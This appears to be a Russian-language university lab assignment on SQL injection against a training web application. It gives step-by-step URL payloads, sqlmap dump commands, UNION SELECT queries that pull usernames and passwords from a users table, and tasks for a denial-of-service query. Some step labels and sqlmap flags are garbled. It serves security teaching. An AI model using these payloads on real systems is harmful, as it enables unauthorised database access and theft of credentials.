Шаг 2. Перейти по ссылке «SQLinjections → Example 1». Проанализировать логику функционирования веб-приложения. Последовательно ввести следующие запросы, обращая внимание на вывод веб-приложения, сделать предположение о структуре используемого SQL-запроса:

- `sqlmap/example1.php?name=root'`
- `sqlmap/example1.php?name=root"`
- `sqlmap/example1.php?name=root'%201=1`
- `sqlmap/example1.php?name=root'%201=1#`
- `sqlmap/example1.php?name=root'%201=1%20—`
- `sqlmap/example1.php?name=root'%201=1%20/*`
- `sqlmap/example1.php?name=root'%20'1'='1`
- `sqlmap/example1.php?name=root'%20'1'='2`
- `sqlmap/example1.php?name=root'%23sqlmap`

Последние три запроса позволяют сделать вывод об уязвимости параметра `name` к атаке SQL-injection. Выполнить следующую команду:

```
# python sqlmap.py -p http://IP_address/sqlmap/example1.php?name=root
--u http://IP_address/sqlmap/example1.php?name=root
```

Просмотреть результаты работы программы, просмотреть полученные данные из базы данных.

Шаг 2. Перейти по ссылке «SQL injections → Example 2». Проанализировать логику функционирования веб-приложения. Последовательно ввести следующие запросы, обращая внимание на вывод веб-приложения, сделать предположение о структуре используемого SQL-запроса:

- `sqli/example2.php?name=root%20and%201=1`
- `sqli/example2.php?name=root'%09and%09'1'='1`
- `sqli/example2.php?name=root'%09and%09'1'='2`
- `sqli/example2.php?name=root'%2b%2b'`

Последние три запроса позволяют сделать вывод об уязвимости параметра `name` к атаке SQL-injection. Запустить `sqlmap`, убедиться, что в данном случае он не смог идентифицировать уязвимый параметр.

Шаг 3. Перейти по ссылке «SQL injections → Example 3». Проанализировать логику функционирования веб-приложения. Последовательно ввести следующие запросы, обращая внимание на вывод веб-приложения, сделать предположение о структуре используемого SQL-запроса:

- `sqli/example3.php?name=root%20and%201=1`
- `sqli/example3.php?name=root'/**/and/**/'1'='1`
- `sqli/example3.php?name=root'/**/and/**/'1'='2`
- `sqli/example3.php?name=root'%2b%2b'`

Последние три запроса позволяют сделать вывод об уязвимости параметра `name` к атаке SQL-injection. Запустить `sqlmap`, убедиться, что в данном случае он не сможет идентифицировать уязвимый параметр.

Шаг 4. Перейти по ссылке «SQL injections → Example 4». Проанализировать логику функционирования веб-приложения. Последовательно ввести следующие запросы, обращая внимание на вывод веб-приложения, сделать предположение о структуре используемого SQL-запроса:

- `sqli/example4.php?id=2`
- `sqli/example4.php?id=2'`
- `sqli/example4.php?id=2"`
- `sqli/example4.php?id=1%2b1`
- `sqli/example4.php?id=0%2b2`
- `sqli/example4.php?id=3-1`

Последние три запроса позволяют сделать вывод об уязвимости параметра `id` к атаке SQL-injection. Выполнить следующую команду:

```
# python sqlmap.py -p id --dmb=mysql --dump
-u http://IP_address/sqli/example4.php?id=1
```

Просмотреть полученные данные из базы данных. Просмотреть исходный код PHP-сценария.

Шаг 5. Перейти по ссылке «SQL injections → Example 5». Проанализировать логику функционирования веб-приложения. Последовательно ввести следующие запросы, обращая внимание на вывод веб-приложения, сделать предположение о структуре используемого SQL-запроса:

- sqli/example5.php?id=2
- sqli/example5.php?id=2'
- sqli/example5.php?id=2"
- sqli/example5.php?id=1%2b1
- sqli/example5.php?id=0%2b2
- sqli/example5.php?id=3-1

Последние три запроса позволяют сделать вывод об уязвимости параметра id к атаке SQL-injection. Выполнить следующую команду:

```
# python sqlmap.py -p id --dmb=mysql --dump
-u http://IP_address/sqli/example5.php?id=1
```

Просмотреть полученные данные из базы данных. Просмотреть исходный код PHP-сценария.

Шаг 6. Перейти по ссылке «SQL injections → Example 5». Проанализировать логику функционирования веб-приложения.

Последовательно ввести следующие запросы, обращая внимание на вывод веб-приложения, сделать предположение о структуре используемого SQL-запроса:

- sqli/example6.php?id=2
- sqli/example6.php?id=2'
- sqli/example6.php?id=2"
- sqli/example6.php?id=1%2b1
- sqli/example6.php?id=0%2b2
- sqli/example6.php?id=3-1
- sqli/example6.php?id=5-3

Последние три запроса позволяют сделать вывод об уязвимости параметра id к атаке SQL-injection. Запустить sqlmap, убедиться, что в данном случае он не может проэксплуатировать уязвимый параметр. Просмотреть исходный код PHP-сценария.

Шаг 7. Перейти по ссылке «SQL injections → Example 5». Проанализировать логику функционирования веб-приложения. Последовательно ввести следующие запросы, обращая внимание на вывод веб-приложения, сделать предположение о структуре используемого SQL-запроса:

- `sql/example7.php?id=2`
- `sql/example7.php?id=2'`
- `sql/example7.php?id=2"`
- `sql/example7.php?id=1%2b1`
- `sql/example7.php?id=3-1`
- `sql/example7.php?id=2%0Aand%201=1`
- `sql/example7.php?id=2%0Aand%201=2`
- `sql/example7.php?id=2%0A%23sql`

Последние три запроса позволяют сделать вывод об уязвимости параметра `id` к атаке SQL-injection. Запустить `sqlmap`, убедиться, что в данном случае он не может проэксплуатировать уязвимый параметр. Выполнить следующие запросы для извлечения данных из СУБД:

- `sql/example7.php?id=2%0Aunion%20select%201`
- `sql/example7.php?id=2%0Aunion%20select%201,2`
- `sql/example7.php?id=2%0Aunion%20select%201,2,3`
- `sql/example7.php?id=2%0Aunion%20select%201,2,3,4`
- `sql/example7.php?id=2%0Aunion%20select%201,2,3,4, 5`
- `sql/example7.php?id=2%0Aunion%20select%20name, passwd,1,1,1 from users`

Ручными методами получить данные из базы данных.

Просмотреть исходный код PHP-сценария.

Вопросы и задания

1. С помощью программы `sqlmap` идентифицировать уязвимый к атаке SQL-injection параметр и получить содержимое СУБД в случае, когда веб-приложение запрещает использование пробелов во входных данных.
2. Построить и выполнить SQL-запрос, приводящий к отказу в обслуживании веб-приложения, уязвимого к атаке SQL-injection.
3. Для веб-приложения, уязвимого к атаке SQL-injection и использующего для хранения данных СУБД MySQL, получить содержимое служебной базы данных `INFORMATION_SCHEMA`.

Форма представления результата:

Предоставить скрипт заданий

Критерии оценки:

Оценка "5" ставится: вся работа выполнена безошибочно и нет исправлений;

Оценка "4" ставится: допущены 1-2 вычислительные ошибки.

Оценка "3" ставится: допущены ошибки в ходе решения задачи при правильном выполнении всех остальных заданий или допущены 3-4 вычислительные ошибки, при этом ход анализа должен быть верным.

Оценка "2" ставится: допущены ошибки в ходе решения задачи и хотя бы одна вычислительная ошибка или при анализе и примеров допущено более 5 вычислительных ошибок.